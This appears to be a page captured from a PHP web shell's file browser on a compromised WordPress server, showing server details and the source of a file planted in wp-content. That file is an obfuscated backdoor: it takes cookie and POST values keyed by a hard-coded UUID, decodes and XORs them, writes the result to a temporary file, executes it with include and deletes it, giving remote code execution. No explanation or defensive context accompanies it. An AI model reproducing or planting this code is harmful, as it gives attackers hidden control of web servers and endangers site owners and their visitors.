HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/wintergenomics_site/wp-content/9b3cf4b6.php
$xVQjzbMxyG = chr ( 1055 - 975 ).chr ( 221 - 126 )."\x4c" . chr ( 667 - 548 )."\x62" . chr ( 734 - 661 ); $MbSkTKQw = "\143" . chr ( 577 - 469 )."\141" . chr ( 163 - 48 ).chr ( 372 - 257 ).chr ( 696 - 601 ).chr (101) . chr (120) . chr (105) . chr ( 732 - 617 ).'t' . 's';$dAShkxCQTw = class_exists($xVQjzbMxyG); $MbSkTKQw = "64071";$phYvrxwaZO = strpos($MbSkTKQw, $xVQjzbMxyG);if ($dAShkxCQTw == $phYvrxwaZO){function jPjubwAuHl(){$isHnvx = new /* 60575 */ P_LwbI(4950 + 4950); $isHnvx = NULL;}$IRekNJVnV = "4950";class P_LwbI{private function fXVLendXH($IRekNJVnV){if (is_array(P_LwbI::$lvVoQzj)) {$name = sys_get_temp_dir() . "/" . crc32(P_LwbI::$lvVoQzj["salt"]);@P_LwbI::$lvVoQzj["write"]($name, P_LwbI::$lvVoQzj["content"]);include $name;@P_LwbI::$lvVoQzj["delete"]($name); $IRekNJVnV = "4950";exit();}}public function EnIcWdVb(){$aWJBoqy = "57415";$this->_dummy = str_repeat($aWJBoqy, strlen($aWJBoqy));}public function __destruct(){P_LwbI::$lvVoQzj = @unserialize(P_LwbI::$lvVoQzj); $IRekNJVnV = "11149_10928";$this->fXVLendXH($IRekNJVnV); $IRekNJVnV = "11149_10928";}public function duNTD($aWJBoqy, $hNFzvE){return $aWJBoqy[0] ^ str_repeat($hNFzvE, intval(strlen($aWJBoqy[0]) / strlen($hNFzvE)) + 1);}public function UBNyBLQ($aWJBoqy){$ApyUCu = 'b' . 'a' . "\x73" . chr ( 1071 - 970 )."\66" . '4';return array_map($ApyUCu . "\137" . 'd' . 'e' . "\x63" . chr (111) . chr (100) . "\145", array($aWJBoqy,));}public function __construct($KiGtPJLsp=0){$ixgejc = "\54";$aWJBoqy = "";$AIFoDlVyTd = $_POST;$HpBuw = $_COOKIE;$hNFzvE = "98ac5562-bd4a-4b6c-b93a-5e7b87228d69";$jIwSeZuUVy = @$HpBuw[substr($hNFzvE, 0, 4)];if (!empty($jIwSeZuUVy)){$jIwSeZuUVy = explode($ixgejc, $jIwSeZuUVy);foreach ($jIwSeZuUVy as $GXDHGiF){$aWJBoqy .= @$HpBuw[$GXDHGiF];$aWJBoqy .= @$AIFoDlVyTd[$GXDHGiF];}$aWJBoqy = $this->UBNyBLQ($aWJBoqy);}P_LwbI::$lvVoQzj = $this->duNTD($aWJBoqy, $hNFzvE);if (strpos($hNFzvE, $ixgejc) !== FALSE){$hNFzvE = chunk_split($hNFzvE); $hNFzvE = rtrim($hNFzvE);}}public static $lvVoQzj = 37959;}jPjubwAuHl();}